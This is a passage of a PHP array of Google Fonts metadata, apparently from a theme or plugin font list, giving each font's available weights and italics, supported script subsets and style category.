array('bengali', 'latin', 'latin-ext'), 'category' => 'display' ), 'Akshar' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Over the Rainbow' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Oooh Baby' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Finger Paint' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'DotGothic16' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Cambo' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Azeret Mono' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'monospace' ), 'Hi Melody' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'handwriting' ), 'Goblin One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Gugi' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'display' ), 'Sail' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Codystar' => array( 'variants' => array('300', '400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'McLaren' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Kite One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Hurricane' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Andada Pro' => array( 'variants' => array('400', '500', '600', '700', '800', 'italic', '500italic', '600italic', '700italic', '800italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Montaga' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Mukta Mahee' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('gurmukhi', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Shalimar' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Kaisei Decol' => array( 'variants' => array('400', '500', '700'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Averia Sans Libre' => array( 'variants' => array('300', '300italic', '400', 'italic', '700', '700italic'), 'subsets' => array('latin'), 'category' => 'display' ), 'Inknut Antiqua' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Mako' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Bigshot One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Metamorphous' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Anaheim' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Walter Turncoat' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Numans' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Pompiere' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Galada' => array( 'variants' => array('400'), 'subsets' => array('bengali', 'latin'), 'category' => 'display' ), 'Gantari' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Euphoria Script' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Jomhuria' => array( 'variants' => array('400'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'display' ), 'Saira Stencil One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Tsukimi Rounded' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Ceviche One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Bakbak One' => array( 'variants' => array('400'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'display' ), 'Aboreto' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Sofia Sans' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Happy Monkey' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Baumans' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Reggae One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'display' ), 'Dongle' => array( 'variants' => array('300', '400', '700'), 'subsets' => array('korean', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Doppio One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Monomaniac One' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Wendy One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Ranga' => array( 'variants' => array('400', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'display' ), 'Scope One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Imprima' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Nova Round' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Baloo Bhaina 2' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'oriya', 'vietnamese'), 'category' => 'display' ), 'Just Me Again Down Here' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Mountains of Christmas' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'display' ), 'Clicker Script' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Frijole' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Murecho' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Chorasmian' => array( 'variants' => array('400'), 'subsets' => array('chorasmian', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Vast Shadow' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Red Rose' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Lily Script One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Geo' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Cherry Bomb One' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Recursive' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Pavanam' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'tamil'), 'category' => 'sans-serif' ), 'Libre Caslon Display' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Bellota' => array( 'variants' => array('300', '300italic', '400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Prosto One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext'), 'category' => 'display' ), 'Modak' => array( 'variants' => array('400'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'display' ), 'Give You Glory' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Orienta' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Mogra' => array( 'variants' => array('400'), 'subsets' => array('gujarati', 'latin', 'latin-ext'), 'category' => 'display' ), 'Artifika' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Port Lligat Slab' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Asul' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Bilbo Swash Caps' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Katibeh' => array( 'variants' => array('400'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'display' ), 'Loved by the King' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Aoboshi One' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Freckle Face' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Crafty Girls' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Life Savers' => array( 'variants' => array('400', '700', '800'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Faster One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Eater' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Xanh Mono' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'monospace' ), 'Balthazar' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Major Mono Display' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'monospace' ), 'Coiny' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'tamil', 'vietnamese'), 'category' => 'display' ), 'M PLUS 2' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('japanese', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Encode Sans Semi Expanded' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Inria Serif' => array( 'variants' => array('300', '300italic', '400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Rubik Dirt' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Hachi Maru Pop' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'handwriting' ), 'Lexend Exa' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Chau Philomene One' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Tiro Devanagari Hindi' => array( 'variants' => array('400', 'italic'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Charmonman' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'handwriting' ), 'Tienne' => array( 'variants' => array('400', '700', '900'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Cormorant Unicase' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Londrina Shadow' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'League Script' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Timmana' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'sans-serif' ), 'Libre Barcode 128' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Solway' => array( 'variants' => array('300', '400', '500', '700', '800'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Sulphur Point' => array( 'variants' => array('300', '400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Kannada' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('kannada', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Dynalight' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Noto Serif Thai' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'thai'), 'category' => 'serif' ), 'Sarpanch' => array( 'variants' => array('400', '500', '600', '700', '800', '900'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Salsa' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Gaegu' => array( 'variants' => array('300', '400', '700'), 'subsets' => array('korean', 'latin'), 'category' => 'handwriting' ), 'Ramaraja' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'serif' ), 'Noto Sans Georgian' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('georgian', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Gamja Flower' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'handwriting' ), 'Slackey' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Delius Unicase' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Kaisei Tokumin' => array( 'variants' => array('400', '500', '700', '800'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Slackside One' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin', 'latin-ext'), 'category' => 'handwriting' ), 'Sree Krushnadevaraya' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'serif' ), 'Imbue' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Cherry Cream Soda' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Sonsie One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Prociono' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Noto Serif Hebrew' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('hebrew', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Poller One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Belgrano' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Kranky' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Bayon' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin'), 'category' => 'sans-serif' ), 'Noto Sans Armenian' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('armenian', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Sofia Sans Extra Condensed' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'UnifrakturCook' => array( 'variants' => array('700'), 'subsets' => array('latin'), 'category' => 'display' ), 'Rum Raisin' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Potta One' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Coda Caption' => array( 'variants' => array('800'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Averia Gruesa Libre' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Cherry Swash' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'ZCOOL KuaiLe' => array( 'variants' => array('400'), 'subsets' => array('chinese-simplified', 'latin'), 'category' => 'sans-serif' ), 'Delius Swash Caps' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'MuseoModerno' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Spicy Rice' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Uncial Antiqua' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Tauri' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Trade Winds' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'BIZ UDPMincho' => array( 'variants' => array('400', '700'), 'subsets' => array('cyrillic', 'greek-ext', 'japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Libre Barcode 39 Text' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Asar' => array( 'variants' => array('400'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Corinthia' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Sumana' => array( 'variants' => array('400', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Stylish' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'sans-serif' ), 'Ephesis' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Lexend Giga' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Shantell Sans' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Baloo Bhai 2' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('gujarati', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Chango' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Carrois Gothic SC' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Voces' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Comforter Brush' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Libre Barcode 39 Extended Text' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Chathura' => array( 'variants' => array('100', '300', '400', '700', '800'), 'subsets' => array('latin', 'telugu'), 'category' => 'sans-serif' ), 'Inria Sans' => array( 'variants' => array('300', '300italic', '400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Mina' => array( 'variants' => array('400', '700'), 'subsets' => array('bengali', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Piazzolla' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Alkatra' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('bengali', 'devanagari', 'latin', 'latin-ext', 'oriya'), 'category' => 'display' ), 'Baloo Tammudu 2' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'telugu', 'vietnamese'), 'category' => 'display' ), 'Kotta One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Ranchers' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Gotu' => array( 'variants' => array('400'), 'subsets' => array('devanagari', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Nova Square' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Birthstone' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Nokora' => array( 'variants' => array('100', '300', '400', '700', '900'), 'subsets' => array('khmer', 'latin'), 'category' => 'sans-serif' ), 'Wire One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Vibur' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Anek Telugu' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'telugu'), 'category' => 'sans-serif' ), 'The Girl Next Door' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Puritan' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Gafata' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Londrina Outline' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Ribeye' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Lovers Quarrel' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Akaya Telivigala' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'telugu'), 'category' => 'display' ), 'Gayathri' => array( 'variants' => array('100', '400', '700'), 'subsets' => array('latin', 'malayalam'), 'category' => 'sans-serif' ), 'Strait' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Stick' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Song Myung' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'serif' ), 'Road Rage' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Baloo Bhaijaan 2' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('arabic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Anek Tamil' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'tamil'), 'category' => 'sans-serif' ), 'Stoke' => array( 'variants' => array('300', '400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Arima' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('greek', 'greek-ext', 'latin', 'latin-ext', 'malayalam', 'tamil', 'vietnamese'), 'category' => 'display' ), 'Unkempt' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'display' ), 'Noto Sans Myanmar' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('myanmar'), 'category' => 'sans-serif' ), 'Ruthie' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Rationale' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Medula One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Unlock' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Iceland' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Denk One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'IBM Plex Sans Devanagari' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('cyrillic-ext', 'devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Cute Font' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'display' ), 'Farsan' => array( 'variants' => array('400'), 'subsets' => array('gujarati', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Khmer' => array( 'variants' => array('400'), 'subsets' => array('khmer'), 'category' => 'display' ), 'Sancreek' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Angkor' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin'), 'category' => 'display' ), 'Karantina' => array( 'variants' => array('300', '400', '700'), 'subsets' => array('hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Cantora One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Red Hat Mono' => array( 'variants' => array('300', '400', '500', '600', '700', '300italic', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'monospace' ), 'Kaisei Opti' => array( 'variants' => array('400', '500', '700'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Shanti' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Qwitcher Grypen' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'IM Fell French Canon' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Paprika' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Akronim' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Sirin Stencil' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Monofett' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'monospace' ), 'Radio Canada' => array( 'variants' => array('300', '400', '500', '600', '700', '300italic', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('canadian-aboriginal', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'IBM Plex Sans Thai Looped' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'thai'), 'category' => 'sans-serif' ), 'Poltawski Nowy' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Mochiy Pop One' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin'), 'category' => 'sans-serif' ), 'Orelega One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'display' ), 'Manuale' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Cagliostro' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Miniver' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Kavoon' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Dekko' => array( 'variants' => array('400'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'handwriting' ), 'Hina Mincho' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Barrio' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Tilt Warp' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Redressed' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Besley' => array( 